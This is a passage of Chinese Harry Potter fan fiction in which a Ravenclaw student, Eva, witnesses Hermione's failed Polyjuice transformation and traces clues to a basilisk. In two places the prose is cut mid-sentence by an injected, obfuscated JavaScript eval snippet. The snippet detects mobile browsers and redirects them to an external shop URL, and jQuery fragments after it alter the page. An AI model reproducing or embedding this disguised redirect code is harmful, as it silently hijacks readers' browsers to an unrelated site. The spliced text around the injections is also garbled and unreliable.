哈利的脸也失去了血色,他紧咬着牙关,用尽全身力气支撑着赫敏另一边的重量。他的绿眼睛里充满了慌乱、自责,还有一种“怎么会变成这样”的震惊。他拼命想把赫敏滑落的兜帽拉回去,遮住那些不该出现的特征。 “快走!”哈利的声音压得极低,却因为急切而嘶哑,“别让人看见!” 三个人以一种极其狼狈和诡异的姿态,踉踉跄跄地冲向通往主堡上层的楼梯。赫敏的脚——那似乎不再是人类双脚的形状,走起来姿势古怪——拖在地上。哈利的书包掉在了地上,里面的东西散落出来,一瓶装着浑浊液体的玻璃小瓶滚到Eva脚边不远处,标签上写着“复方汤剂 - 米里森·伯斯德”,但“头发”两个字被潦草地划掉,旁边用颤抖的字迹备注着“猫毛??”。 他们慌乱的脚步声和赫敏压抑的、带着猫叫般颤音的哭泣声在空旷的走廊里激起回响,很快消失在楼梯拐角。 走廊重归死寂。 Eva站在原地,手还扶在身旁冰冷的盔甲上,指尖发麻。她的心跳得飞快,咚咚地撞着胸口。 她看见了。 复方汤剂……他们真的喝了。但是赫敏……赫敏怎么变成那样了?猫耳朵?猫的叫声? 那不是变成另一个人,那是……那是变成半人半猫的怪物了! Eva觉得一股凉气从脚底直冲头顶,头皮发麻。她见过赫敏聪明骄傲的样子,见过她在图书馆埋头苦读的样子,见过她为朋友挺身而出的样子……可现在,赫敏被裹在斗篷里,发出动物的呜咽,长着猫的耳朵。 这太可怕了。比罗恩他们想套话被抓住还要可怕一百倍。 庞弗雷夫人能治好吗?一定要能治好啊……不然赫敏怎么办?她还要上课,还要考试,还要…… Eva在原地僵立了好一会儿,直到冰冷的空气让她打了个寒颤。盥洗室的门虚掩着,里面黑漆漆的,飘出一股浓烈的、甜腻中带着焦糊的古怪魔药气味。 她没有往前,甚至不敢去看那个滚到脚边的玻璃瓶。她慢慢地、慢慢地转过身,沿着原路往回走,脚步有些发飘。 靴子踩在石板上,声音在空荡的走廊里显得格外孤单。嗒。嗒。嗒。 她觉得特别冷,好像炉火的热气永远也烤不透这种从骨头缝里渗出来的寒意。想起赫敏在图书馆查那些危险魔药书时亮得吓人的眼睛,想起她那股“一定要做成”的劲头……现在她成功了,也失败了,败得这么惨。 他们自己选的险路,现在有人摔得这么重。别人帮不了,只能希望医疗翼真的有办法。 回到拉文克劳公共休息室,温暖的炉火和熟悉的声音稍微驱散了一些寒意。曼蒂和帕德玛还在下棋。 “Eva你回来啦!论文写完了?”曼蒂抬头问。 “嗯,写完了。”Eva的声音有点干。她脱下斗篷,在炉火边坐下,伸出手烤火。跳动的火苗映在她眼睛里,可映出来的却是刚才那一幕:滑落的兜帽,抖动的猫耳朵,还有那声痛苦的、像小猫一样的呜咽…… “你怎么了?”帕德玛也看过来,“手这么凉?外面雪很大吗?” “嗯,雪还在下。”Eva低声说,把手翻过来继续烤,“特别冷。” Eva在炉火边坐下,伸出手,让暖意慢慢渗入发凉的指尖。炉火的光在她沉静的眸子里跃动,却映不出此刻心底那片沉甸甸的影。 那影子里有东西在晃:是墙上清亮到反常的水渍,是走廊深处湿冷的土腥味,是赫敏斗篷下滑出的、属于猫类的茸毛与耳朵,还有她喉咙里挤出的、介于呜咽与喵叫之间的破碎声响。 一件件事,像散落在水面的叶子,看似无关,却都透着一股“不对”。 爷爷常说,万物有联,观其表,思其里。城堡在“生病”,渗出不该有的“水”。朋友们在“冒险”,喝下危险的药,结果连自己的样子都丢了。还有哈利,因为一种与生俱来的能力,就被钉上了“继承人”的牌子——这三者,似乎都关乎“身份”的错乱与边界的模糊。 怪物模糊了人与非人的边界,药水模糊了自我与他人的边界,流言模糊了真相与猜忌的边界。 而边界模糊的地方,最容易滋生危险和伤害。赫敏此刻承受的,就是最血淋淋的证明。 Eva轻轻握了握手腕,玉佩温润的触感传来,它只预警最极致的黑暗。可世间的危险,何止一种?有些伤害,是慢慢渗进来的,像墙上的水,像贴上的标签,像……朋友眼中孤注一掷的亮光。 她看向窗外。大雪正试图抹平一切痕迹。但有些东西,是雪盖不住的。比如石头里的湿气,比如已经发生的改变,比如她心里那份清晰的、沉甸甸的认知:这座城堡的冬天,比她预想的更加复杂,也更加寒冷。 41. 石头与猫 第二天早上,赫敏没有来吃早饭。 Eva坐在拉文克劳长桌边,慢慢嚼着一片涂了黄油的吐司。她的目光扫过格兰芬多长桌——哈利和罗恩坐在那里,两人都低着头,机械地往嘴里塞着食物。罗恩的耳朵尖红得发亮,哈利则吃得特别慢,眼睛一直盯着盘子,好像能从那堆炒蛋里看出什么秘密来。 “赫敏呢?”曼蒂也注意到了,伸长脖子张望,“她从来不会错过早饭的。” 帕德玛压低声音:“会不会是……病了?最近天气很冷。” Eva没说话。她想起昨晚在走廊里看到的那一幕——抖动的猫耳朵,压抑的呜咽声。面包在嘴里突然变得又干又涩,她赶紧喝了口南瓜汁。 第一节课是魔药课。 地下教室里比平时更冷,阴湿的空气像看不见的手,抚过后颈时让人起一层鸡皮疙瘩。玻璃罐里的标本在昏黄的火把光下泛着诡异的光,斯内普教授的黑袍在地面拖出轻微的沙沙声,像蛇在爬行。 “今天,”他的声音在寂静的教室里响起,像冰面裂开,“熬制肿胀药水。配方在黑板上。任何错误——无论是材料的顺序、火候,还是搅拌次数——都将导致不悦的后果。” 他顿了顿,黑眼睛缓缓扫过全班:“我希望看到清澈的淡黄色,而不是浑浊的棕褐色。开始。” 教室里立刻响起一片翻书声、材料碰撞声和坩埚架到火上时金属的轻微撞击声。Eva和帕德玛一组,两人小心地称量干荨麻和河豚鱼胆粉末。 斯内普教授开始在教室里踱步。他先停在了一组斯莱特林学生面前——是马尔福和克拉布。克拉布的手在抖,差点把豪猪刺掉进坩埚里。 “克拉布,”斯内普教授的声音不高,但能让整个教室都听见,“如果你的手控制不了最基本的材料,我建议你去庞弗雷夫人那里看看,是不是得了某种……神经性疾病。” 克拉布的脸涨成了猪肝色,马尔福在旁边发出一声几不可闻的嗤笑,但随即又绷紧了脸——Eva注意到,他的目光似乎总在往拉文克劳这边飘,但每次她看过去时,他就立刻移开视线。 斯内普教授踱到Eva和帕德玛这边。帕德玛的坩埚里,药液正冒出细密的、均匀的气泡,颜色是教科书上描述的淡黄色。Eva握着搅拌棒,手腕平稳地顺时针转动七圈,不多不少。 斯内普教授的黑眼睛在那锅完美的药水上停留了两秒,又缓缓移向Eva的脸。他的视线在她脸上停留了一瞬——不是审视,更像是在确认什么。然后他什么也没说,转身走向下一组。 下课时,学生们匆匆收拾东西。Eva在教室门口整理书包时,听见马尔福在后面不远处拖长了声音说话——那声音不大,但刚好能让周围人听见: “……有些人就是不知天高地厚,总想学些不该学的东西。结果呢?自食其果。” 他在说什么?Eva的手指顿了一下,随即继续把书塞进书包。她不确定马尔福是不是在说赫敏的事——他应该不知道。但那种语气……很像是知道了什么,在幸灾乐祸。 走出地下教室时,冷空气扑面而来。城堡走廊里,几个学生围在布告栏前,议论着什么。 “又一个?”一个拉文克劳五年级女生倒吸一口冷气。 Eva挤过去看。 布告栏上贴着一张新的通知,用大号加粗的字体写着: 紧急通知 鉴于近日发生的多起袭击事件,学校决定实施以下安全措施,立即生效: 1. 所有学生在晚上六点后不得离开公共休息室。 2. 任何学生如需在宵禁后前往医疗翼或图书馆,必须由级长或教授陪同。 3. 如发现任何可疑行为或物品,请立即报告最近的教授。 违反以上规定者,将被关禁闭至本学期结束。 此通知由副校长米勒娃·麦格签署 周围的学生们窃窃私语。 “六点后就不能出来了?” “那魁地奇训练怎么办?” “训练时间会调整的,笨蛋。” “可是……”一个一年级新生小声说,“我们真的安全吗?连公共休息室里?” 没人回答这个问题。 那天下午,Eva决定去医疗翼看看。 她找了个借口——说自己最近有点咳嗽,想去要点提神剂。曼蒂本来要陪她去,但Eva说“只是小问题,很快回来”,就独自一人去了。 医疗翼在三楼,和洛哈特教授的办公室不远。长长的走廊里空荡荡的,只有Eva的脚步声在回响。越靠近医疗翼,那股消毒水和魔药混合的气味就越浓。 她轻轻推开那扇厚重的木门。 医疗翼里很安静,阳光从高窗洒进来,在白色的床单上投下明亮的光斑。庞弗雷夫人正背对着门,在一个小推车前整理药剂瓶,嘴里哼着一首古老的巫师摇篮曲。 Eva的视线扫过那些病床。 靠窗的第三张床上,躺着一个人。 那个人被白色的帘子半遮着,但从帘子缝隙里,Eva能看见一缕乱糟糟的、姜黄色的毛发——不是头发,是那种……毛茸茸的、动物才有的毛。床上的人侧躺着,背对着门,身体在被单下微微起伏,像是在沉睡。 是赫敏。 Eva的喉咙发紧。她站在那里,几秒钟没动。 就在这时,床上的人动了一下。一只手从被单里伸出来——那只手的手指看起来不太对劲,指甲尖尖的,手背上覆盖着细密的短毛。那只手在空中无力地抓了一下,然后缩了回去,发出一声轻微到几乎听不见的呜咽。 庞弗雷夫人转过身,看见Eva,皱起了眉头。 “张小姐?你怎么来了?” “我……最近有点咳嗽,”Eva听到自己的声音说,努力让语气听起来正常,“想来要点提神剂。” 庞弗雷夫人仔细看了看她,眼神锐利:“张嘴,说‘啊——’。” Eva照做了。庞弗雷夫人用魔杖在她喉咙处轻轻一点,一道柔和的白光闪过。 “喉咙没有发炎,肺部也正常。”庞弗雷夫人收起魔杖,表情稍微缓和了些,“可能是天气太冷,空气干燥。多喝点热水,晚上睡觉前可以喝一小杯蜂蜜牛奶。” 她从推车上拿起一个小瓶子,递给Eva:“这是温和的润喉剂,如果觉得喉咙痒就喝一滴,不要多。” “谢谢夫人。”Eva接过瓶子。 她转身离开时,又忍不住回头看了一眼。 帘子被风吹动,露出一角。她看见赫敏的侧脸——虽然大部分被枕头遮住了,但那轮廓……不太像平时的赫敏。下巴的线条,耳朵的形状…… 她快步走出医疗翼,关上门。 走廊里很冷。她把瓶子塞进袍子口袋,手指碰到温润的玉佩,心里稍微平静了些。 赫敏会好起来的。庞弗雷夫人是全校最好的治疗师,她一定有办法。 那天晚上在公共休息室,Eva写完了魔法史论文,又预习了明天草药课要学的曼德拉草。曼德拉草的哭声能致命,需要戴耳罩保护——书上这么写。 “明天一定要小心,”帕德玛翻着《千种神奇药草与蕈类》的彩页,“书上说,成年曼德拉草的哭声能让一个成年巫师昏迷好几个小时。” “我们种的还是幼苗,”丽莎试图让大家放松,“哭声应该没那么厉害。” 但气氛还是很沉重。壁炉里的火噼啪作响,但好像驱不散那股寒意。 接下来的几天,城堡里的生活像被按了慢放键。 六点后,公共休息室就成了学生们唯一的庇护所。拉文克劳塔楼里,气氛还算平静——至少表面上是这样。高年级学生在壁炉边低声讨论功课,低年级学生凑在一起下巫师棋或者写作业。但每个人都会时不时看向门口,好像下一秒就会有什么东西破门而入。 Eva注意到,那些奇怪的水渍出现得更频繁了。 周二去上魔咒课时,她在三楼走廊的墙角看见一大滩水,清亮亮的,在石板上蔓延开,足有脸盆那么大。费尔奇正跪在那里,用一块脏兮兮的抹布拼命擦拭,嘴里骂骂咧咧。 “又是水!又是水!哪个小混蛋干的?让我抓到……” 但那水看起来不像人为泼的。它从墙根渗出来,痕迹很自然,像有什么湿漉漉的东西贴着墙爬过。 周五下午,草药课。 第三温室里温暖而潮湿,空气中弥漫着肥沃泥土和奇异植物的气味。斯普劳特教授穿着沾满泥土的围裙,站在一排小花盆前,每个花盆里都有一株小小的、深绿色的植物,叶子皱巴巴的,像婴儿的脸。 “今天我们要学习曼德拉草的换盆。”斯普劳特教授的声音温和而清晰,但表情很严肃,“曼德拉草是一种非常有用但也很危险的植物。它们的哭声,在幼苗期就能让一个成年人昏迷数小时,而成年曼德拉草的哭声是致命的。” 她举起一对巨大的、毛茸茸的耳罩:“所以,第一步——戴上耳罩。确保它们完全盖住耳朵,没有缝隙。” 学生们笨拙地戴上耳罩。世界瞬间安静了,只能听见自己沉闷的呼吸声和心跳声。 斯普劳特教授示范了如何小心地拔出曼德拉草——它们挣扎着,发出尖锐的、穿透耳罩的哭泣声。那声音即使被隔绝了大部分,依然让人心里发毛,像指甲刮过石板。 Eva分到一株曼德拉草幼苗。它在她手里扭动,根须像小小的、苍白的人手。她屏住呼吸,按照教授的指示,小心地把它移栽到更大的花盆里,填上特制的营养土。 做完后,她抬起头,透过温室的玻璃顶棚看向外面。天空是灰白色的,云层低垂。远处禁林的树冠黑沉沉一片。 她想起赫敏。想起那双可能已经变成猫爪的手。 有些危险,不是戴上耳罩就能防住的。 周末,雪停了,但天气更冷了。 周日下午,Eva在图书馆写完变形术论文后,决定去庭院走走透透气。庭院里积着厚厚的雪,几个学生正在打雪仗,笑声和尖叫声在冰冷的空气里回荡,显得有些不真实。 她沿着黑湖边的小路慢慢走。湖面结了一层薄冰,冰下深绿色的湖水缓缓流动。巨乌贼的一只触角从冰窟窿里伸出来,懒洋洋地摆动。 走到一棵光秃秃的山毛榉树下时,她看见了哈利和罗恩。 两人正站在不远处,背对着她,低声激烈地争论着什么。哈利的手在空中比划,罗恩则烦躁地抓着自己的红头发。 Eva停下脚步,想悄悄绕开。但就在这时,哈利转过身,看见了她。 他的表情瞬间僵住了——先是惊讶,然后是不安,最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980657|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成一种混合着尴尬和焦虑的复杂情绪。 “Eva。”他走过来,声音有些干涩。 “哈利。”Eva点点头。罗恩也转过身,脸色不太好看,但还是嘟囔了一声“嗨”。 沉默了几秒。冷风吹过,卷起地上的雪粉。 “赫敏……”哈利终于开口,声音低得几乎听不见,“她……病了。” “我知道。”Eva轻声说,“我去过医疗翼。” 哈利和罗恩交换了一个眼神。罗恩的脸更红了,他盯着自己的靴子尖,好像那里有世界上最有趣的东西。 “她……会好起来的,”哈利说,语气像是在努力说服自己,“庞弗雷夫人说,需要时间。” Eva看着他。哈利的绿眼睛里布满了血丝,眼圈下面有深深的黑影。他这几天一定没睡好。 “你们……”Eva顿了顿,“要小心。” 这话说出来很苍白,但她不知道该说什么别的。复方汤剂的灾难已经发生了,现在说“不该那么做”已经没有意义。 哈利点点头,嘴唇抿成一条线。罗恩终于抬起头,看了Eva一眼,那眼神里有愧疚,有恐惧,还有一点点的……求助? 但他们都没有再说什么。Eva继续沿着湖边往前走,哈利和罗恩留在原地,继续他们被打断的争论。 走过拐角时,Eva回头看了一眼。 两人又恢复了激烈的姿势,哈利的手紧紧攥成拳头,罗恩的脸涨得通红。他们看起来很累,很害怕,但也很……固执。 就像去年在地下房间面对奇洛和伏地魔时一样固执。 那天晚上,Eva梦见赫敏。 在梦里,赫敏坐在图书馆的老位置,面前摊着厚厚的《强力药剂》。但她没有在看书,而是在哭——眼泪大颗大颗地掉下来,砸在羊皮纸上,晕开了墨迹。 “我太傻了,”梦里的赫敏说,声音哽咽,“我以为知识能解决所有问题……” Eva想安慰她,却发不出声音。 然后赫敏抬起头——她的脸上长满了姜黄色的猫毛,眼睛变成了琥珀色的竖瞳。她张开嘴,发出一声尖锐的猫叫: “喵——!” 紧接着,整个梦境开始溶解。图书馆高大的书架像浸水的糖块般软化、坍塌,变成了冰冷、滑腻的岩石墙壁。脚下不再是木地板,而是漫过脚踝的、清亮刺骨的积水。赫敏不见了,只留下那本被泪水与墨迹毁掉的书,漂浮在水面上,慢慢沉没。 四面八方传来沉重、湿漉的摩擦声,由远及近。 Eva在彻骨的寒意中猛地惊醒。 Eva惊醒了。 窗外还是黑的,城堡在沉睡。曼蒂在旁边床上发出均匀的呼吸声,丽莎在说梦话:“……曼德拉草……要戴耳罩……” 她躺了很久,直到窗外的天空开始泛白。 周一早上,消息传来了。 早餐时,一个赫奇帕奇级长跌跌撞撞地冲进礼堂,脸色惨白,嘴唇哆嗦着,对邓布利多教授说了什么。 邓布利多教授立刻站起来,表情凝重。他低声对麦格教授交代了几句,然后快步离开了礼堂。 谣言像野火一样蔓延。 “又有人被石化了!” “谁?是谁?” “好像是……克里维?那个总拿着相机的一年级?” “科林·克里维?那个麻瓜出身的?” “梅林啊……他昨晚违反宵禁了?” “听说他想偷偷溜出去拍波特……” Eva手里的勺子“当啷”一声掉进碗里。燕麦粥溅出来,弄脏了她的袖口。 科林·克里维。那个总是兴奋地举着相机、眼睛亮晶晶的一年级格兰芬多。她记得他——万圣节晚宴时,他挤过来想给哈利拍照,被珀西严厉地训斥了一顿。 现在他也被石化了。像洛丽丝夫人一样,像贾斯廷一样。 早餐在压抑的恐慌中匆匆结束。学生们像受惊的羊群一样被赶回各自的塔楼。级长们的声音嘶哑,一遍遍重复着“不要单独行动”、“跟紧队伍”。 回到拉文克劳公共休息室,佩内洛·克里瓦特站在壁炉前,脸色严肃得吓人。 “所有人都听好,”她的声音在安静的休息室里回荡,“从现在开始,任何拉文克劳学生不得单独离开塔楼。上课、去图书馆、甚至去卫生间——都必须至少两人同行。这是死命令,违反者将面临最严厉的处罚。” 她顿了顿,目光扫过每一张惊恐的脸:“我知道大家害怕。我也害怕。但恐慌解决不了问题。我们拉文克劳崇尚智慧,而现在,智慧告诉我们:遵守规则,保持警惕,相信教授们。” 但相信真的够吗? Eva坐在窗边,看着外面灰蒙蒙的天空。玉佩温温地贴着皮肤,没有任何预警——石化不是黑魔法,至少不是伏地魔那种纯粹的黑暗力量。它是一种古老的、危险的魔法生物的能力。 而她感觉到的那种冰冷的、湿漉漉的“流动”,还在城堡深处。它没有离开,只是在等待,在游荡。 下一个会是谁? 她不知道。 但她知道,有些事情,正在失控。像一辆没有刹车的马车,朝着悬崖狂奔。 而她们这些坐在车上的人,只能紧紧抓住扶手,等待那个未知的终点。 42. 拼图与裂缝 科林被石化后的第四天,拉文克劳公共休息室里的羊皮纸消耗量突然增多了。 不是论文,是地图——几份城堡平面图的复制品在几个学生手里传阅,上面用不同颜色的墨水标着细小的点。 “你在干什么?”一个周四晚上,曼蒂看见Eva伏在窗边的桌上,面前摊着地图册和笔记本。 “记点东西。”Eva没抬头,羽毛笔尖在“11月28日,三楼东走廊拐角”那条记录下轻轻划了一道。她的笔记本已经用了小半本,每一页都写得密密麻麻,但字迹工整清晰,像她的人一样,有种安静的规矩。 记录是拉文克劳的本能。面对未知,慌乱是没用的,不如把看到的东西写下来,说不定能找到规律。 曼蒂凑过来看地图。蓝色、绿色、红色的点散落在城堡平面图上,乍看杂乱,但看久了…… “这些点,”曼蒂小声说,“好像……在动?” Eva点点头。用细线把同一天的点连起来,能看出模糊的轨迹。像有什么湿漉漉的东西在城堡墙壁里穿行,每天走不同的路线,留下这些清亮的水渍作为脚印。 “会是皮皮鬼搞的鬼吗?”帕德玛也凑过来,“他最近特别安静,反而让人不放心。” “皮皮鬼不会留下这种水渍,”Eva轻声说,“而且气味不一样。”她没说是什么气味——那股淡淡的、潮湿的土腥味,像大雨后翻开的泥土,带着点……冷。不是地窖的阴冷,是更深、更古老的寒意。 周五的魔药课,地下教室里比平时更安静。连斯内普教授那惯常的、拖长的讥讽都少了些,只剩下简洁的指令和冰冷的审视。今天熬制的是消肿剂,配方在黑板上闪着微光。 Eva和帕德玛配合默契。称量、研磨、搅拌,坩埚里的药液慢慢呈现出完美的淡紫色。但教室里总有人出错——这次是拉文克劳的迈克尔·科纳,在加入豪猪刺时手抖了一下,刺落早了半秒,整锅药水瞬间变成浑浊的棕褐色。 斯内普教授像一道黑色阴影飘过去。“显然,科纳先生认为魔药学是一门靠运气而非精确的学科。”他的声音不高,但每个字都像冰锥,“拉文克劳扣十分。重做。” 迈克尔的脸涨红了,嘴唇动了动,最终没敢争辩。 下课时,Eva收拾东西的动作比平时慢。她听见前面两个斯莱特林学生压低声音的交谈: “……我爸说部里催得紧,要霍格沃茨必须给出解释……” “解释什么?除非抓到那个继承人……” “德拉科说他爸爸知道些事,但不想掺和……” Eva垂下眼,把最后一本书塞进书包。马尔福家知道什么?也许。 晚上,公共休息室的壁炉烧得很旺。Eva把地图册摊在膝上,手指沿着那些水渍点连成的轨迹缓缓移动。 轨迹不是直线,是弯曲的,蜿蜒的,像……像什么东西爬行留下的痕迹。 她的笔尖停住了。 爬行。 蛇。 这个念头来得突兀,却让她后颈的汗毛悄悄竖起。她想起很多年前翻到过的一本神话插图本——里面有个女妖,头发是毒蛇,目光能让人变成石头。美杜莎。那是麻瓜的传说,但魔法世界里……有没有类似的东西? 蛇。巨大的蛇。在管道里爬行的蛇。 她的手无意识地摸向腕间的玉佩。温润的,平静的。没有预警,不是黑魔法,至少不是伏地魔那种纯粹的黑暗。 但如果是蛇……萨拉查·斯莱特林以精通蛇语闻名。密室里的怪物,会不会就是一条蛇?一条巨大到能在管道里移动、目光能石化人的蛇? 她需要更多证据。 周六早上,魁地奇训练又取消了——这次是所有学院。拉文克劳的队长罗杰·戴维斯在早餐时宣布这个消息时,脸色难看得像熬坏了一锅魔药。 “麦格教授说,在安全措施完善之前,所有团队活动暂停。”他声音闷闷的,“连训练都要两个级长全程陪同,根本没法练战术。” 秋·张在旁边叹了口气:“我爸爸刚给我寄了最新款的扫帚保养油,这下白费了。” Eva安静地喝着南瓜汁。她的注意力不在这里。她的目光飘向教师席,又落回自己面前的地图册——翻开的那一页上,水渍点最密集的区域,在二楼东侧。 那里有桃金娘的盥洗室。 “对了,”一个拉文克劳击球手忽然说,“你们听说了吗?费尔奇最近老往二楼那个废弃的盥洗室跑。” Eva抬起头。 “为什么?”曼蒂问。 “谁知道。他说那里漏水特别严重,墙都泡软了,怕出事。但每次去修,修好了没两天又漏,气得他天天骂。” 漏水。二楼女盥洗室。墙泡软了。 Eva合上地图册,心里有了决定。 下午,阳光斜斜地照进城堡高窗时,Eva找了个理由:“我的《魔法史》课本可能落在昨天上魔咒课的教室了,我去找找。” “我陪你去。”帕德玛立刻说。 “不用,”Eva摇头,“就在二楼,而且现在天还亮着。你们不是要和丽莎研究曼德拉草的换盆笔记吗?我很快回来。” 帕德玛犹豫了一下,看看窗外明亮的冬日阳光,点了点头:“那……小心点。” “嗯。” 走出拉文克劳塔楼,Eva的脚步很稳,但心跳比平时快一些。不是害怕,是那种接近答案前的紧张——像揭晓魔药是否成功前的最后一秒。 她没有去魔咒课教室,而是拐向了那条更安静的走廊。 越靠近,空气里的湿气越重。不是厨房飘来的蒸汽,也不是温室那种带着植物清香的湿润,是一种更沉闷的、带着土腥味的潮气,像走进了一个多年未开的地窖。 盥洗室的门虚掩着。门上的铜牌锈得几乎看不清字迹。 Eva停在门口。里面传来滴滴答答的水声,还有隐约的、抽抽搭搭的哭泣——是桃金娘。 她推开门。 破败。这是第一印象。瓷砖剥落,镜子碎裂,地面大片水渍在昏暗光线下泛着微光。最里面的隔间门半开着,哭声从里面飘出来。 “桃金娘?”Eva轻声叫。 哭声停了。几秒钟后,那个戴着眼镜的幽灵从隔间飘出来,眼睛红肿。 “拉文克劳的,”桃金娘抽了抽鼻子——虽然幽灵没有鼻涕,但习惯动作还在,“你来这儿干什么?这地方又冷又湿,除了我这种没地方去的可怜鬼,谁愿意来?” 她的目光落在Eva的蓝铜色镶边校袍上,显然认出了学院。 “我在做一个关于城堡古老区域的小调查,”Eva让自己的声音听起来尽量平常,“听说这里漏水很严重,想看看情况。” “漏水?”桃金娘的声音突然尖利起来,飘到洗手池边,指着一个锈迹斑斑的黄铜水龙头,“何止是漏水!这个破东西,有时候会突然喷出水来!清亮亮的,冷得要命,把整个地板都淹了!” Eva走近。那个水龙头的出水口……雕刻的痕迹虽然被锈蚀掩盖,但还能看出轮廓——张开的嘴,细密的纹路。是蛇头。蛇张着嘴,等着吐水,或者说……等着什么从里面出来。 她的呼吸屏住了。 “什么时候会这样?”她问,眼睛盯着那个蛇头。 “没规律!”桃金娘激动地说,“但每次水喷出来之后……我就能听见声音……从管道深处……那种滑腻腻的、湿漉漉的声音……像有什么很大的东西在里面爬……滚过去……又滚回来……” 声音。管道里的声音。哈利说他能听见墙壁里的声音——如果那是蛇在管道里爬行的动静,只有蛇佬腔能听见…… “你……听到这种声音很久了吗?”Eva问,声音更轻了。 桃金娘的身体明显抖了一下。她脸上的激动褪去,换上了一种深切的恐惧。 “从我死的那天……”她的声音低得像耳语,“五十年前……那天水也喷得特别凶……我躲在隔间里哭……然后听见那种声音……越来越大……我忍不住,从门缝往外看……” 她停住了,双手捂住脸,透明的眼泪从指缝漏出来。 “你看见了什么?”Eva的声音轻得几乎听不见。 “眼睛……”桃金娘颤抖着说,“巨大的……黄色的……亮得像灯笼……就在那儿……”她指向盥洗室最深处、墙壁上一道不起眼的裂缝,“从裂缝里……我只看见那双眼睛……然后就……就什么都不知道了……” 巨大的黄色眼睛。从墙壁裂缝里看到的。 Eva站在原地,感觉周围的空气突然变冷了。 所有碎片在这一刻“咔哒”一声合上了。 水渍轨迹——蛇在管道里爬行留下的湿痕。 蛇形水龙头——蛇的标志。具体未知? 墙壁裂缝——巨大的黄色眼睛。在墙壁裂缝后面。看了一眼,就死了。 Eva站在那里,感觉全身的血液都往头上涌,耳膜嗡嗡作响。 不是石化。是直接死亡。因为直视了那双眼睛? 而那些被石化的人——洛丽丝夫人、贾斯廷、科林——他们是不是只看到了反射?间接的视线? 但“巨大的黄色眼睛”这个描述…… 她忽然想起一本书。去年在图书馆闲逛时,她翻过一本叫《地中海神奇生物传说》的闲书。里面提到过一种传说中的怪物,蛇王,眼睛…… “蛇怪(Basilisk)。”她轻声说出口。 她需要确认。立刻。 “谢谢你告诉我这些,”Eva对还在颤抖的桃金娘说,声音尽量保持平稳,“我……我可能知道那是什么了。但我需要查点东西。” “你会告诉别人吗?”桃金娘紧张地问,“别告诉!我不想再惹麻烦了……” “…不会。”Eva顿了顿,“我需要更多证据。” 她转身快步走出盥洗室,几乎没有注意脚下踩出的水花。走廊里的空气比里面干爽些,但她的脑子被那个念头占据着—— 蛇怪。传说中萨拉查·斯莱特林可能藏在密室里的东西。如果真是它……那一切都说得通了。 但她得确认。得找到书里的记载。 图书馆在城堡的另一端。Eva走得很快,袍子下摆在身后翻卷。路上遇见几个赫奇帕奇学生,她只是匆匆点头,脚步未停。 图书馆的大门紧闭着。旁边贴着一张告示——是前几天发布的: “即日起,所有学生进入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980658|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图书馆需由级长陪同,或在平斯夫人处登记事由及预计逗留时间。逗留不得超过一小时。” 她停下脚步。 佩内洛·克里瓦特现在肯定在公共休息室处理级长事务,不可能专门陪她来一趟。 得换个方法。 她转身走向魔咒课教室的方向——至少先把“拿落下的课本”这个借口做实。走廊里很安静,下午的阳光把她的影子拉得长长的。 就在经过三楼一个拐角时,她看见了那扇门。 教工休息室。 门虚掩着,里面传出低低的说话声——是弗立维教授尖细的嗓音,还有另一个女声……是格兰普兰教授?她们在讨论什么关于曼德拉草护理的问题。 Eva的脚步慢了下来。 教工休息室旁边有个小房间,平时放清洁用具,但她也记得……那里有个小书架,摆着些教授们偶尔翻阅的参考书。去年有一次,她帮弗立维教授搬一摞旧试卷去那里,瞥见过书脊上的标题。 也许…… 她轻轻推开小房间的门。里面很暗,只有一扇高窗透进些许光线。灰尘在光柱里缓缓飘浮。墙角确实有个旧书架,上面堆着些封面褪色的书。 Eva点亮魔杖尖的微光,凑近书架。 《常见教学用魔法生物图鉴》、《基础草药培育手册》、《霍格沃茨历年考试题集》…… 她的目光停在一本暗绿色封面的书上。书脊上的烫金字已经磨损,但还能辨认:《地中海神奇生物传说》。 心脏轻轻一跳。找到了。 她抽出那本书。很薄,纸张泛黄,边缘有被翻过无数次的痕迹。书页在“蛇怪”条目附近有明显的折痕和污渍,像是被频繁翻阅到这一页。她迅速翻到第143页。 雕版插图立刻映入眼帘:一条巨大的、通体覆盖着翠绿鳞片的蛇,盘踞在洞穴般的空间里。它昂着头,眼睛被刻意绘制成亮黄色,在黑白页面上显得格外刺眼。 文字描述密密麻麻: “蛇怪,又称蛇王,一种极度危险的魔法生物。由蟾蜍孵化鸡蛋所生,通体翠绿,成年体型可达五十英尺。眼睛为亮黄色,直视其目光将立即死亡,通过镜面、水面等反射物间接注视则导致石化……” Eva的手指停在这行字上。她的呼吸微微急促。 继续往下: “……蛇怪对公鸡叫声极度敏感,其鸣叫可致蛇怪于死地。蜘蛛会逃离蛇怪所在区域……此生物寿命极长,可达数百年,常栖息于黑暗潮湿的地下空间……历史上最著名的蛇怪传闻与霍格沃茨魔法学校的‘密室’有关,据传为萨拉查·斯莱特林所造……” 她快速扫过剩下的内容。蛇怪的弱点、习性、历史上的目击记录(大多语焉不详)…… Eva的手心微微汗湿。但仅凭一本通俗读物就下定论,太过草率。她闭上眼睛,让这一年来的所有异常像拼图碎片一样在脑中铺开: 水渍轨迹——总是出现在墙根和管道附近,清亮得不自然,带着那股挥之不去的湿冷土腥味。 蜘蛛逃离——从开学起,城堡里的蜘蛛就明显变少,连地下教室那些常年结网的老住户都不见了。 